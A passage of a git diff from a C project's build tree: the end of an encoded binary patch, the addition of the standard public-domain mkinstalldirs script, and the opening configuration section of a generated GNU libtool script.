z_P;OjB<+7^KX$sU*RcTp{`>bj>AaLZ3ku@hskM)BqKtt{@ZaBnJdrU|q~0M2VwsE{=$1HIsYrV(+Hi%1-w zw>#*x4J$t=%1XnhPq6WWE;d>}wMwt#N+bOYF;5Ey|JW{<~GKuDZ1mKyk6bz>(ZP3?} zF(y0g$T1(YmabLOObBCmkX(MiU$rs`p9zCM*C&gcW z-+02GV3!x%8kDx|^9k$xS1avTr$0j{D3WUH)Ls~nDFnqnojv~k) z5f(XZn>2J$>X8x5Fp14UH5e9P&3xuZ#Q`liBTat_%WWu%qT*?&B9QZ`H!5hdzPY%4 zYazb^`eWvcfHt5mY4!@&8N|g4^9Ddl`xf<92kS6iQB+K1IcjG zcg8$Hm;u^$@fHJG39OFyC@&xb7sRGH&@l6?ai%?CMAGK?LszRMOBpF+9eqTh3|r9E z#v!R zIFl(bKdRRT5bRT#03L}=KzBG*bstaxNHkopDzf%n-4$n=)ZTiO-=ya|c71JGJ~g=w;}9h~qe(GW4e8TNx+gcHO%^WiuUx!UV}SWAc6 zryBD~DcuRAVi1yaLu$qtW%Yu(uF+KT85HFG8YZxsvUOABh=6%U^x`!E^hd)$n-bB} za2f`9LTJq8l1yM&V!%2B8X7H>mQ8?4E~fKqB1#E}72JvFdb$`5^e(a_dr}h=R0`Noo^;@OR)lvh)`PV@A%o!%M0|ieuV8JC_ZZ#P7u%n zQflU#`s=sUaM%OC?~P!1DB)QjJ^7g~tMUGM7189>Hn^VWu6-tU1Es{+sqZ@K#-%AZ zN6Et~JxfvQQ8KX}8CS(kZ-UeBYgc_4coiDkcx=c8)EW9wY|V5&Y5x+vle6U$sXzDB ziBMt*oc!>gdK(jWfo7zz$4#cCIgJRRJR4IMYR|IcQ@r;KuK8Y0TvJd3ul_KbMsqJH z&d*)BOC$^h;BG<1@eqeLN}9r$Wz@i|l}|5bm{K>KsjsId9!e!5ujj)Pp4`dN=g0q`*=IRWHaG_70*QX=G7WYa?DHdKoh3p#_gjfro6yga@X( zmGFA;q1<&mOjxAk!=O$|3=VNHaEX$m+2BHIZh)6Gzoa+f4rki4i;n;FPqd7CX+-tl z1t|6|GLy^KjQ+;bq7F1^X zA)DP839dL1=>Wt+*bY1-Kw5f^)oCCM)plQ;93H9TSfdU0IfHzZ+~~PV`7(m1&<$rN zwiksAG}k?4m+hrxwD_Gl@@a$r+dn~-lVnaJ8u#A8J`c9T;wHeQ@5!7}HezJ5qNaek zH(Fd!yZkK4>d|tRj4wX!v82~t3;NBQXlSpq`ZFz{7qiRmB?Zmtjwy(V`Wh}Kaz5fm zLAp$YK39X@-S-9-oLkYXVE9(<#e&#)$Eq;XFDVP48r@NU{4MkA&}ll%yy@Sx~y9eE?k?Hu$_#88H6CPSyVR zJXz;|l~VLs>R59ASFLQj=YLyIw;%F9e~~BN8-nBuXk$0T3%@6|_OSq_c)CuGMSLGO zkXxWSn^i`4oSb$#8BwBQG5GCjHWTZpc5l7>S(#ZL^=jTIWf+u& z>%yffOFaYBSO5c=sp7h7uh)0-78Y#Y^fDLke)DuDS=n0O0Zc=QDqaZ4qHS!Jm7p(~ z$4tNqH=>f-X#e>VA~DaH?u*1aTtXz~0aH2>|H%@3D51HbJ@1h{ir}|=@H<;Yyfn~i zblP>^I_n0Q$5Vjd!l%D1J(nVK7-v&U5qS=!5Qlj%l}?R}6DdSuo=Qkad(r!088B_c+HQ ziY8C7VhmY_SOlzQcisb>a)QNhQber90w-^bX4>%;UQ6L~EA!aOJhU>;tn~4dd0=H8 zSD7aly6_`D22hrPSW9-#qukRd?J%a>_SX9LSbM(b=TnXcEa*3eR`r&Rz#ikjJ~Ob0 ztBwD$)bgAhz(SUsF$VDe;!^{CMu075?Ller>t*P5g)x258G(aFpA`J>JtO${J`u>a z7?7U#4DG5G_XHIyx8ZAa_bN>B}`I2I`CTtk?KZ1Qe ztBqg!D*n~B&W9)Yq}u-n;rp=E|15Q6+W#w+9ozoD!|{K%9_;^L;!&X)4~C!(sApGb z2Eeaeq7_85=_DFnV8LDSau~th?x)@)7#D=N8ouxSaB(#W=JV2I8UxkC0G;L(+UicJ z9n9vU^8ERBT*%1TgM~P9Xi={HI(rxinaa+_W|hpfb+OCP&hug#j%bgzQD0vdo2Bx) zHx^71@MlS@ann_HCEPXlX!OB3y*p;vH5K0 z_r^4O?FD{$axQDEmYy;kAEH!Cw*upDP6nhW=rMpDB?b%0VsLT`+Bt5=gnzjVE7z9Kn9Ws|Rg3!K-spt@d_u^~kceZKNW9!k#v%*L9uH1I(S zStf49!QsKFbSS0Js_Y@=!-Kb#j6iy_MB`9~ip?3K5KwsI??1Q|j09K!RQ%lP zqi9z=ihh}_g7#Ukap%SEJy8(2-L8ER<@Zus@dsK)(d>lVapno8_#mf)hSEk|hPORG zJn4w;_$HXV=K!O@$O38npO1H+Ya@J40iteHf*#FGt zp_(pEQ+}>>>Zix`L}P}}c9O`<2AVOfyGkl;TaNjJrogaw z74~M=B3Ic#6MNoj(H}hFd!zPzaj};&fiEwO84UVGpId<3){OwJ+Y7_qop|#WM6@}h zjl~=|1xuFT&1y`st6&m@#J-#vN-!d$fr{PL>S^Ck;TL^qWElIJ^T}1XHDV&9hJR#5tBJQG>=W-M}UOYB=ES1HQg)Np! zC@>sJ{>5qQsCLo-y~=Ltc@(Ja`Fnxu;@N1f?b@r+Ttvxd}Skl=%`kLy8UZE+Vi)^$KJi7|V(OIB&l?ZFOWge(1zvf@Bm2XB@!5dUJYkV2v!j;aw6`#lwZ$ zB&QG{atq-i^8ypVe)pZI?AQ=Mnr^MpXyu~9G!GD*Dk6`&t8c%>(qdh*Ms8|DqW%_- zxr}=he>4wJWCW%7qZt&E90kmero}kuJ0DG3e84tp1FiXS;C?i2MY0(;{uV?gR{X}7 zXL;b_Z|EBKLM6`SB65^<5k+jHh?^q`i-3x=$1DaTKpI9-xg3Bjiz5TlG-tMBWbL01 zyJpx?*aPfYdIi-+`AgQ6oId~+cuh*`gPE~aQ!|71AbA5x7dKvA+>&)c4IaVvFqg<;WLZlFH_H+kJk2FIHlZ`}yzh+pE3v;cM%B;GRASt{fI&rODHuOS z2AGEze3Qk)3tnb0krEqTf$%4F`hC!!PeYED2mcH6iMC6&g|cIsX;ev0MbYDwD`E|r zPnb-2&ao21Ut$DIeux8w4Rk*#yX6X5sl3@l08tU|O_ixOnD_VfZxm#n`mTGDlm+9+`RjCcISUc<}hq}zAQ6l3K)^oVXfdv&C`Gi&NIpN`>Z=l7 zh$B2uu_3;Y7u$36k z>S`h7!{Ow8Zv;YIcAkCwQ%j#r<5M)!%w!&P(9HUyUW8K#H1>}HM|0uFLvyp2z`y7X z^p$O_O@n6;N1YfBrj$$`R>Z|@HVx-uycoeSz{E-gw$IY~y$ON?zA@hH2$l{=sJ38i ze7#3oBiK(5`{XYRn&~vWNap0UAb5!!)aK7p*p{%8-BeNg^VO|!$|1QOn_->z$D_I8RmEWp# zRm-iOPu@*1Q>dHKxTh{1ABT03VZWYt_@bQw#gv-n>qsTJ3eInk3kdhwZkvIDSYQmd$Q8 zdtf%j%?AEk71x6#PaHHFhw#;p13zX$r}fX39L;w$0%b>A}kA zEw^A%Aj|&oCr@&m-aONBlDA&tGD<3ysgdK$48=;pWU5x$R*K!kbEnJ8RB`K*5Ch`+JsOUOXkOD=&8MM5wfe(RA(YyNB z#s0o1=XpbP`Xkb@-wQ!??1SbPD(|fn*f`_+A$tUc2Xx0q1Ga5nOW(oRZS z)Hc0~Bn!x+kKALZx?E7cQemE(5CvD1VIlW8k_=F~DWL@v8gRQ=F3WefrQqTg-kCko z#rs^G@s$F(E$2f9tXFlH&hd-VqG+epB*2HYk8yR z{cr#^bLJ^^+y$-Ne718da?q6u5?=lrx}VkR zKd$9dhFIaUhWH!fwh)dqLd4gcT)!;z_UBVnwEVeW-EA^gI=ICnooDt0r)vJJNiBU| z+b~x^MU3r8O5N?vjRb5v5=_v#WZ>;(Zs!KgvLRjl1_LI zO$h&Adn1achPXgW~$~t#*9% zOKvH<$HVt%s3$uQP1>1Kq*@@X@G$i_7^BRh*(cA|^5IO2w`d;bz4B8FX)UHhR5QqC zUK@ma)+c>dfQw*P_r^RrV0liks)->=shoUSQrF{^0bjjm-mUB?1#udIpr$@M-9UN8 zrxO{Afvh$4ghMw@9-=GKA@{DO5>CZ$>|WYnPy^y-#0k)Etm}`8@#XnEVR*Cow(yu) zupoi?SDwY9Y%8K)UsqbOu%;%Gm{EUE<%$)t%knf9ar9lwxX&-;l!um<3-cP8ifp04 zGPrk3BB5L@mw^dXPiXIKtaTS$>Hr?&?cml~68pFMgez?#VL?3nGXaBW=={d-ExAss zL$-K5=CxXRd>E$+nG=h3nSs5G+yq)KQHL+6F6 zR-HqdbWW+zR0i%@fmVJDba}Tbtpz!ST#evsQyc!^GrRv=<+8o9!diMDU82NRLE41hDR);xB0!CaH5q_8!WM_?x|ET& zJj-xAgLy5&dyqNm9N;bJGx&Aw#JK0o_T*gFjw^O{PH2DJb}1Qr{&5mmYI*ai@{IHD zzG6wB)+)KU<&rHg2-PoZPNqu+yNSu#P06d5%J`%?wKgp#l0=o2Y8hdc@Jl6y3~Eb7 zBfpsv=8Mj#%qtB(Qvlien=)*h5qb?BmGYVn9|WnKo{Xb$nzU@<<|EUBIxyW+cK~Pt zuZf=naWzFAHjYUtv>wi?)^Ys>U!^xsPD>J$?g#V%^13&hfp7p)+ynxX;&Id$d8(w& zL3*^Uy@Kf~f?Js$m8T8TFuW~(CkuYP??`=f@8IqbSARBIwi+v1c%EA_j)JA$B|H*5 zu3Brnu2ho>n>v4nX$3HGG=;tRV^w}ME_WNItKI@a~y1_T&N>envuVCe*ds&MaEtuvuojVA#72&lxE`fpl6uuW}W7Cd{E}iU^XBm_I!^a|R z!*3hLq*GrZb}40pKtb98VylfTxx`v#n5Qg^w+bh!@kyiwp<1%Ueq}1n+;FMATeXpk zsnTjQy1=TjVYSj&kALhQoZT0fM@#;qLZBT)(GpHmykqfX&QS+5XErI5YDPHf2B{Lm z$(iy2E$*AsFaEM;LrfQQ1>!)&U-sNeUQkRz;i-haB&$#W$trvR!wH>=cmULwWDN=; zS;J?77{$Ts90>dp>!p8<*(O>l=RTeL^b9pR9}5jVD~+#twYQChIFjYBT&a~ea*myh z*YH5WulMbIs7}NE7dgh6SO8qB>-}u1(vy8}sWo+(t<*wf+9QI5aRcwmrrJMs0a}Mu z95>}`h{uQU$6_>>QA0k~I(o0A6KjpFUHZm_YNKXJ9+7*mnwAkNiKifp0baI9audDg zEu>;v6M29f>low8=-pqx2*&e^&90tVM!xPd_84MQijL0E4}0_L_eUh#=^2PTLQ~9kt4J+Pit@)qUhgBK>mfM+vK{(E)ckS*(aWANgMZm`zZ+Z z@tA%+oS3h*f0Ft>>5T)^RmpsxH)*6+)rxgmdJ!Lve*E#7yg0ERv-4v*m$f>=rVXtAcO)ieK$#AJrE zL#_OA^YFu1j^~5Jbb(~L0n!nTM`yKG?U>?Te=NHNirqXo4MyYUd?>4_PWYKEP;8Oa zom4hcxJ^b|hVcutSlWn7*2ClV*hxa<$kA@?0?$_Q)3|qQS}tg(I^+;U`*uVF{dvl< zjrPsx2YbqAiQF)`z}NeXNph>K!479d=ZV+oMZ2FkXavPfMT1ypl#>q(v~SNOfh_r*8HUEp0uYa+8PrCjFosv`%d+~T zVr^`Ls#SJEeJbm-GJ_peIGF#!s7Egr5fF!j;|2U_GNN5Meih$?I;E^1JE?|- z3l!D&I1Xr%l@y2(Vzj7Pt0-r<7lCj18;S_6+lGu!l^}tt@!s?{DoR_LK3*73iPG4H zSrELt5xFiba~!Wh?HY9?H(Ls_2wVcmk=!ywBnk~n>}AM3ENf-RTT=bh6sZJkX2x3% zyk2#{&764m0N=`I3GK)CmfEGyD71ZsCv5AEbmqEHo<<)kw(lvkGX*x2bowsHRpV2oT}_zlaQy9A@y}N%Ll-owy6W~3FQAs;wy-e z4`QaGyp+$6bUhP;a-XyS72-ADKPq~e`jCOqi`TtHYNA*FL5rLsLe}u6FK_Xt=u_9X zHCj^F@`ljMT-Chg|LnEQQ|Yo5%n!0;-AV!acU-Nk4Tj-cZ5p*{^~!(3hU2rWTv;5J zwgVxVxdd?f1ve#$b*k%Ms4`~9pSnDKIE_Dy!crr*N}8LV^CPut{fVnkg68pVX(`#` zol~~FOZMSEXwAtQMQf>%@$sy%c!_i+`o{1_EkW#$eX0#cW@u~w8j@x)qD>;(>0m8w zv|V+_gM#nq z^O$?=Cfc?hBSpan$fJ7+q`zDuJpl?^wYEqrkSb;zk5_~*0h*J!z&I86S3P5N7lf*G=QxLkaQ9s2Ji7u{&Epw zxF~t)Cerd+katjyHJ0)oDIge+TC6Eg0g@vdVrx$+CtERtW$jC03Qlq1F6*T6ew%DWP)-Ax9BGU$jnZjXH?9cr~L8Pa?NU&Xt0*3}eg!D@GtkRkJIwZZxGiEGEz+ z45B~#u~Wo&3F>~AQ9(QlwaR5v%;>F11@@BYhRxZ)c78vSjmGgQL3P~n& zN%;z6nj8Ra=akw)y2uXy$-#DIyp6BC5ljvz@kC9#-(v;ny**Z!VdO1}8+4W<&!2rC z|8BbeG?XvRQ}$a`)VEM!NECl!F)Yjp#Zce2E(IoOe~LlHFjwHHHzQ9kmGw^rEe!^x zUnZ-r0^z?Ycb}HpNyMnFDkB&+w{nl>%EXA#{0?TQYH##$4L0R!9Jxk1V8~`jNoU7q z#fY60L!+eY^2j%T^=7q}tC+W5matdBe2(%J*rSL!2hHfwAJv2`?MG$g$ZafO za`){MTr{+FUb?lpf(>dXp(l zAD9cX(qD>X#2x%DL!-H~mO$3m-_j(weO||PS8&<^LS|^QiH12}+w>P8nxsjH9HB`8*Tq#j|qRHD=yV#111d9!8**;#S}8 zuea@gEZG@JRnJcq)5$)==B2X}CcgPqCK=Q#LvM*(y@eyjf4bHrFTUg+>x>uajkpZv zed4#?pf{Uij75g{#8$XlaoQp*rG#e#{wZ{@TJV^6Bg@su&(#RM*GX*3&))eGo$Lai zyE|?neggfS0=DjoM}yL%fwvIFTE_gQtq+W3+~ zMu`KyJ&;l2kfL33iPzWOBCpiBbSe_LI~oX?&Dw)wSeymnrARN)dd(Rj(n~bw*OWXB zOTcz~H|;;X|99YBUuyeiNBo;y`cq)(zDPkxA9@{J-wvaZPlLuw8U^8AQAsOJ_dW`C z%tRBKjX#;t7__5mhVsyFcf|K%^&dgB3Zz^;nI?=!34ra7LUU%sC(p@Q@0QV$@lE+{ z!T43NepTP5!);n6x2#{=Z)59(+TS;tFV0`mjz4W{X$uS~qI6!fur}b!JMINTTMxpb z+DHz{X2CkM*CObbiMDC=@GkkI@)mOO7ICqR?U=(V^OSL_#pxmGg*H$sT)6zBl8G<( z9ZW*wQYw8x;ZiSRD=6EbyXtL7;lbK8ksDhtF$-vsm)BOSMIq}t98B`wVLLDCAFI58QkqU#sCC1xBoHS>`9Z7 zDAKZi8)u%%ylXW8Kkd5Kh|kb~gw4ymR>-jg%AOz}#>rD6eOFp>H z@8_Kup3uM+7tjGT<^5@Fm_czq9dS+y?QE0xBXXr&Nw$Ic8gXV2SXJai@ocMZ&!>zc zo21rEb{1clASr9Fntwsm4~H{S#OVb-6nasGAXl6cVNMe~U528)k?Io8RSM{+lc-%l z@pl>(a7mvca@|}H``2Q;i00xVp#8m!LQifqVrT0|EQ>F2frI{I9ua`lm{fE}bvjOg zQTx-`FyMscR1HvUIL8Q*Yer|_8*~B>Fs`SI(ST{Xm`SK)pQs1o<{E=e&NUt&$zVF+ zrl*10HJ_YznxgaSuq|4r=bgioCh*XIogcQEZ2<#`Cfj23b*FjKXtu;=sVq)g;;7bX zwqh)GXg6(A!>a{$I*P}LLUxgnQ^db1ds=|aQAyh=M!!utjRKg)Kp;d#T-<>~m|?aR zmHz$S$Y>Iw`Y{v6Yz{E9e2io^C#GJ2lG2MrPmsDISx95@JWexmm=725;EfF&iTLwD zt(Ap`_A{6XS}!?J`!om2-n{p2X$xfc*42pz!sbg^P&AQdQwoKT3`EYlnEL{i)I}fp zs5j3-z~-jNoG)=_wSWsVo37)n_IRQIN4+b~hvPtFXUthR>^Ygr1XwJE3GmYrCXkkh z%)U(1rd|OARWvmzoP{Tv66uj4aDFMV!wr-t2goN`I5Z1E)8F^PA$pFg22!7{khXWz zMK&5q4ibevjLQcnRffg98N%ysZxG6HNtvCnoX1l{B}@OPnrV81oL@v7tQSRY7NQJk zOmY|{ZwYpVrzljj5S_QB$nBhp`sqmj>Cqw40qa>SI3&5bIfJ>ZdJC%X{>XSfaNi;bDA7pfJVqyv!i5cvHYy z{l22#gTO#LsZ@YbGgODNQXpZucv(ms!|F0h?k7sf%pkB=(9$kZ1|%#N5o_^WPu4^S zySM>SY^PKy)dqP!qp~2=bn!7FiUl?g<1}^7D~t!j0!pA2OJZvVqZ|$zWFqx9SX;sL+8Zg zkK`MChf(oK(dwhOGc|}4#11FuK0|bk!(|)F#drI$o`C5()!*Nd=3CZB9sU3@sEt$F z5d-4@6L~_9dhz~2}p2Xor`_ur^z9 z|7&Wel_ubDEP(GEC8vb(JD>#e!F(!P8&da3OQYD=;`|IdD2Zp#6L)Ta;b+-jp#q|d z-o^BNpxj0|(SS@70QA0?O4Zi=hN?Ec@6Bc-iOB7V)S79$=EKnlrGH4lwg)nzy98u5 z{0%n(bLc%Xf^6cRkU`!7$&)#0cSH28zYalT(e-0x5*1ge_z4S)hm+xWF)rAs=?fFP zchy6e`Z+EtSK;(VuB}8GiCm(+z|?38ZSNM*0!4F;DYi|bH=3qMrkcitQ#&}%xMOeU z;s$pli17j=m*LCJ0M;gRS`?_J0)DgXj^pi9mvq^o}8XE zT}M^K(MOm?)Vm6DWil{5o>LID$7%5Cg5?t%#^N*9isBGhX|1i?r?u8exPe|fp~%N^ z95>d0 zSJ&|S;*O><&I%}!*gmnDMYZ70XnDz)FH%>bIU_fI#(?2<33IvpPC1*<0YC?bDORSC z=OsEWbf5|u+LW#kmy?2Mw~@_`o5#kQN=l#I8(cFsNM=i!73)JhOygca}q5DMa5X!sJ0Oq&pg_K5n|c z6P03MW_y?nRruOx03%BL?cw>idq%?xbYm%&OV3MN8>NkLG?+#kvv+fJ6)9bRmO4Oh z-Pzg_e}f58-Pxpnw{|M@FFcj%PUWenlq);sr#tw6@M^ofUH+RWf0o*pJPVu#Li}yq z4>QZn`!jUv`4Ua~lFv88OOW}OqT4~VF24k&_Uc?A~cE})s^!N zIZgzTwVgg|bU9EkJ^P^USl`ZCpyYHaW%^dNzsaoi+w^VI{&sqNatMHobIbl#J3BjS zc4|jI;K~2ZP{_Yb!x57QSF4jJ#}!l>asfc_RRVAn%c^}(% z`r=waVPKq~RwUBY``d7Qe$+Wc47wK@Cm=~Csn5Vr^)X{$;dzoRAulSkJ1=_Cu)m>P={8;s&(L8m_C)Ztgbw}9mcTwGG}1Op zFN2A46!apInG0eh(%}!tJ?#%kVW%U;2#ucT0qN@w`pt66f=aHCXttNs)Dx^Q z3`#^N3kh9Iqg!SsO>zS?ZsghhgzeC@1&rnc+*CO&;m9+@YHL(>&k9#Qm6mLk89Qrq z*iF!&$#L&DfK<++;~7V1V52I$DtVERZ=s1~IQd{C7J!LTETol*WZ#2lq#5HPS~FswM$JdON=&ToClS`#~RCT*nNgq0l6{^T*5U} zG>8NW7sFhp+Kv5h>^5+UACpcB1D`LLEl6oY0)>siY=IAhP8;OGfVGnciV`_#ZAhR{ z7-a1%FeQ>C2FeoT@QX`H$}yB{z0P}B2NS9pi>&cva{?>Y@|ehdEl;2loE}c+)4har zLc#OK*nGS-R``yN&9Ovj;2MnlqA6nvw5;fiOTOu7W+63D;AugXj$tU}tMM#b4K<1( zEG;Aw=#-ujB`1hQSQkaJh&qXR8fQ9!c?ZFdLR!ldbV^5fz=Vr}UiYUXODRa8Fh{rL zAKjKcx>>u(*>rZVU1Z*N9Frbl=tew6=HXOAv&F?|*jJ~{Mz#IfXc6K6zFI-&OxPx@ z)>o0uVx025PDUtnF0c5+HFhJV+T=9Ex(sL(+7cQa#WnQI+TR$LN@QaV6#8<0oV9XK z7cjQIu{%2@qJE*a9D4>nR-cwd2G~oMPlWt1v6}i6-+3T;*XA1|IjNGJEXD@rB#gc% zfiRq-neIuX!st5#-2LVK;K#WikC3WIvNVO>ic72LVDj+=2}`X>r;?YjsR`v{4Eh3r ztX&5rVhm1Oo%-w)&UP}l^hTQbdG8C9l?yk6@J_%NW5||_nR`7fnJ6_2)JSl5@1~|F zWy~guks|M2Kt^Uc8eucJpk&Idton?MKFc`Dn*}5;O{^T3jveXcT+#8+Vi1GB z-H>A@gZm}69il^@mKgR`DM7!u{nu~*4};!d9F*YC&r!z``~PNjXN&CrmCfz#>drRW z|Ka6>{r^imKjgm2i@(2u@eaaWu_1f8F@_~L2sb2mB)FpRUQ|k(qFOF*ZB(iomFJ@J ze0S^VZn+|^7I&g~I}?8wxuX|H`IQxkgN<3I?UkbatgMjNE_qRaIGFc97X=*<7Szd9 zYQ-0e;fVZ3QPW+JYnqAlxLpLirIn-U^c~v&e{D5ujpODMD*h`LE5UyE36&-P0{Sor zpsG<+LWlJT6kiM)1)5MV3|4d;o86Ta*oVHDh9iWii>*?5ox^jY%cv2dvxMc20pkt8 z(?+{4HcORtHZ5UvpCgX$Q&bmg5a8v>IUuc;p2~8A->zme_+757TakdUth}I87nMrs zmWw-Abyil;EnrtV`HuqSXRK&d`sZ+FQ1}{pC~&VrCNKm*BUc1H5$!3_ikmZ^3Nn}~ zKYWbeAj88FcJv*9EzD@DTww?eY-#Y|Ti$hEJvunqpRB3|1(Wx~a5_QjP-$i5fZ8fA zH1x4P>^stt1QT#u=}rIoZR`{kMWAMn?gWpC>go!9J8o01yv0RvFbv5$h)!y;Ul*|w zs4hcd9w1EE3-Ln3WeBuI1oP=^g*HPl#0H8QR7LTIR5@QoJOBpi&|Deq0v!%7$uIe8 zIyVO-#x}i#o)0m6+7KN(Zf;6)9!k$C+?B0RaQJyRyjYONJ(xnfPfj~(NP!%8a__{t zy`D9j)#Alag-xOXK7<}(cvt1nf4P9}zL!_PsVaD`=kwX_#s;?L;tDoq^U`Fx@jq9? z_q`302?kriG@;Qz&%xF6cC))#eR0_7Hd=>2HCt^oAk)~B6!`_%cs!ky2EPHpR#sZU ze=mT7blYOZmJ2vt6sh`)FoYs7>SU}!jzlxc2#*Z!m^XVyWFKuKmphgf?tF=F2*~}5 zIy#i&4YObt4yV#tp2f|bcD>I9rK{449F{zKzRWO83RkU2A%4c00yUr?O?cCz0~l=y zjlF(~E7VG5eKB0WYk%&3f!Hqk*Dm{rmV zDyo!FHqMKiRRN>3F;vs~P7b#Gg`=_tyl2pSPf0g=IeU%tfOaS zJQqdnJuHVL)$i4=@i6LdKuz7jZTTt7fX$LP7zLP}@x?HLw&FaHWV;F`LD*xL*+@EQ z%XJD*Ph_vKQi`b}XP0WmCA9+nTZ)F`IjpwOl#SWqVuOF;udB&ogQm>J`zro@Il8TG zZ(UHsJ{HGCG^tddF^-k3k~pcgkJah}jeajcXMV=|$u6^Jh~2ZkGfFKW@)K2#!T_FvJU$R-0&Dnqqr?B}cwNFoPNJ1lI#* z^`5~2A5Ao9#hO|YL=DECu3f=gCb2pjD9>!X5LE=ZJD$l4Vldvo=qO}Aw(6@en8~_# zfED#J9F9xDEzi&XjQjI*c2zDC zryYvb1lk3mAv(qPwWO4>R34=^&>giL<2gL3BO1g2LXj^8k_Ki}18c3Jy2U&JSmg1Q z(NM&sy_UqUb*$m&ywU8Q)jF@_?&Ik2MXT2OhkS)0qtVq@`HT)H{n27TETYv&f>Yu= zehZ5TXvlL|rEqnpi6SuGopkRY4y7q~-Z^c)Zq`dLYMou4N~o3Djoa_%x|oHG{p-tm z9jbrAS4id{Hprot?&n=1MF3Z+S7HR%)?dAv<`bpn4{Uu!OfP-|0@56TmFfkRASSuE zQ~KTv8979!0P=NanWP0t0l7lbltpOqQW8Oz9{lzMZO0{m!`&Sfdy*$%h#a4^?mC42W*GN=rj%k`;IhK$r7~l|FwQ_RD0QeB8o-U_kX3ZHc!+f)Vl#hMfWsN zRp*--sJG$7y}`S#pm6ti2YT7#{U>bg(KU;z?oVNlfY-hdP1FyAV8Yjc@Xn5^a>#o( za@F9*4xtWgf1icJfR^=Ni*74@^#i&x1Nt{?9v35M6vpO7EYKwM;pdh=33-2a zha1Jq;Q%EpO;EglGn5ky>Z+8>kMMX1gjtD(h^+~Ac@Lc?+ezcFU46n^PuxL}vdqgI zEJ1QVzs36%5LoC8!NOQ>vuRVmn3LwoLuhWY0V)ihAZA)KVH;9ZyDwzRU!_ogQWCJ) zc&F|WD^bZI4CMw*33@V6Kr6waaHo{ETJnl{$SWVo>j86V za0{bgxG=Hhq8Klpf~`+oBK%eN8tqd#^EikzY@2UL8s?t}Rtxbi8}jkQ8Z6qo%;k+% zl#N3beO)bku`ey5`4#J-C3Jo_ld3~cjDpK~k*+ko3+`YfUn&N=(eDCOLwZ8q1)uY>%Gbt2ygq`b zU%b#0o*r46HhBG@1*0VDwwWN_>dko;6-NOqppnwW>4MBSn5#`VvWr|a^j1*sXw_%} zvhGa}ig5hLxmYXkc|vY2&&L3CJ_ds*m3s=A&B6&cnY1@RB~xCLp(Gi=NjQy}s7S0L z*|m854%9t$Zh(Zr8%={8RC9yZ|F}i82c7Y~H>mV(7>ova!f_Em2LpCB!-^-sz0x`& zHBUkV+Vx_jbo5!Tum8YfVnTF-vlRBh^95A_vlmzg)M%VhuYeuyL^MH>1a*83uU-x# zSQvilO@gub7I%(6=$+(umTSkiSMRaV59D+TyzzuHY`Sa%mGB~e1+#~sn zk9+>ZHW(Pajn7wy*eXBW-cCFJ!KVz%&n67+_S2oGPw_}-XKVX!V*B$oA^rKk{QM_< z{K=w;n~qPeBm4XhByM#Z&;K^z)inJw5Am>G!HAZN%DIvB<-} z|A_xx!HoxCkURI4a4d@9r63e9&JT|oWGz`4zXR=E6ld-SWTB0J0p$u(Vg4h#XauTn z0DI_3b}@+zZ4%i90Tcdjle(eI52Dd*cN&MSeFp+Yass&aotE?mUess?`Khx1YtX-* zA}@&F$?p0j+W6&{(wqP9m(ts{zi(_@J^6Lzr)p*?r}StdiqWM$NQ$N<1T%jA{in(b zZ0KkYv-Iw0JSQ%mybG%tV3m2akX<8?o{TV|z~0 zrq{|N+5?aVI21LOgxCQ>{L&KHaQ>{@Pk75pb$PNgb&Zd^YA=856{E%@H{*Z l&%^WZJUkE2!}IVwJP*&q^YA=856|-F{|Az%=-~i>8vtS+Dck@6 literal 0 HcmV?d00001 diff --git a/libs/mkinstalldirs b/libs/mkinstalldirs new file mode 100755 index 0000000..9deb735 --- /dev/null +++ b/libs/mkinstalldirs @@ -0,0 +1,40 @@ +#! /bin/sh +# mkinstalldirs --- make directory hierarchy +# Author: Noah Friedman +# Created: 1993-05-16 +# Public domain + +# $Id: mkinstalldirs,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ + +errstatus=0 + +for file +do + set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` + shift + + pathcomp= + for d + do + pathcomp="$pathcomp$d" + case "$pathcomp" in + -* ) pathcomp=./$pathcomp ;; + esac + + if test ! -d "$pathcomp"; then + echo "mkdir $pathcomp" + + mkdir "$pathcomp" || lasterr=$? + + if test ! -d "$pathcomp"; then + errstatus=$lasterr + fi + fi + + pathcomp="$pathcomp/" + done +done + +exit $errstatus + +# mkinstalldirs ends here diff --git a/libtool b/libtool new file mode 100755 index 0000000..fabfd43 --- /dev/null +++ b/libtool @@ -0,0 +1,7801 @@ +#! /bin/sh + +# libtoolT - Provide generalized library-building support services. +# Generated automatically by (GNU ) +# NOTE: Changes made to this file will be lost: look at ltmain.sh. +# +# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001 +# Free Software Foundation, Inc. +# +# This file is part of GNU Libtool: +# Originally by Gordon Matzigkeit , 1996 +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# A sed program that does not truncate output. +SED="/usr/bin/sed" + +# Sed that helps us avoid accidentally triggering echo(1) options like -n. +Xsed="/usr/bin/sed -e s/^X//" + +# The HP-UX ksh and POSIX shell print the target directory to stdout +# if CDPATH is set. +(unset CDPATH) >/dev/null 2>&1 && unset CDPATH + +# The names of the tagged configurations supported by this script. +available_tags=" CXX F77" + +# ### BEGIN LIBTOOL CONFIG + +# Libtool was configured on host assdozer: + +# Shell to use when invoking shell scripts. +SHELL="/bin/sh" + +# Whether or not to build shared libraries. +build_libtool_libs=yes + +# Whether or not to build static libraries. +build_old_libs=yes + +# Whether or not to add -lc for building shared libraries. +build_libtool_need_lc=no + +# Whether or not to disallow shared libs when runtime libs are static +allow_libtool_libs_with_static_runtimes=no + +# Whether or not to optimize for fast installation. +fast_install=yes + +# The host system. +host_alias= +host=i686-pc-linux-gnu + +# An echo program that does not interpret backslashes. +echo="echo" + +# The archiver. +AR="ar" +AR_FLAGS="cru" + +# A C compiler. +LTCC="gcc" + +# A language-specific compiler. +CC="gcc" + +# Is the compiler the GNU C compiler? +with_gcc=yes + +# An ERE matcher. +EGREP="/usr/bin/grep -E" + +# The linker used to build libraries. 